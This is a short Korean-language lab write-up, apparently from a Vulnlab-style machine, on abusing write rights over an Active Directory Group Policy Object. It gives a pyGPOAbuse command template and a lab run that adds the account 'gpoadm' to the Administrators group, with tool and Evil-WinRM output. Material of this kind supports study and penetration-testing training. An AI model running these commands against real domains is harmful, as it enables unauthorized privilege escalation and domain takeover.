WriteGPO는 공식적으로 존재하는 DACL이나 명칭은 아닙니다. 장악한 계정이 GPO에 대한 GenericAll과 같은 권한이 있어서 수정이 가능할 때 악용 가능한 시나리오 중 하나이지만, 성질이 다른 것과 상이하기 때문에 별도의 설명을 위해서 임의로 만든 이름입니다.
도메인의 GPO를 수정할 권한이 있다면, 특정 유저를 도메인 관리자로 임명하는 등 정책 변경을 통한 도메인 장악이 가능합니다. GPO 정책 변경을 위해서 사용할 수 있습니다. 변경에 필요한 몇가지 조건은 다음과 같습니다.
GPO에 대한 쓰기 권한
GPO ID
권한이 있는 사용자의 계정 정보
조건이 모두 만족된다면 다음 명령어를 통해서 권한이 있는 사용자를 도메인 관리자 그룹에 추가할 수 있습니다.
# 명령어 양식
pygpoabuse.py <Domain>/<USER>:<PASS> -gpo-id <GPO ID> -dc-ip <DC-IP> -command 'net localgroup Administrators /add <USER>' -f
# 실습
└─# python3 pygpoabuse.py baby2.vl/gpoadm:Password123! -gpo-id 31B2F340-016D-11D2-945F-00C04FB984F9 -dc-ip baby2.vl -command 'net localgroup Administrators /add gpoadm' -f
SUCCESS:root:ScheduledTask TASK_291c1c8d created!
[+] ScheduledTask TASK_291c1c8d created!
# 결과 확인
*Evil-WinRM* PS C:\> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
gpoadm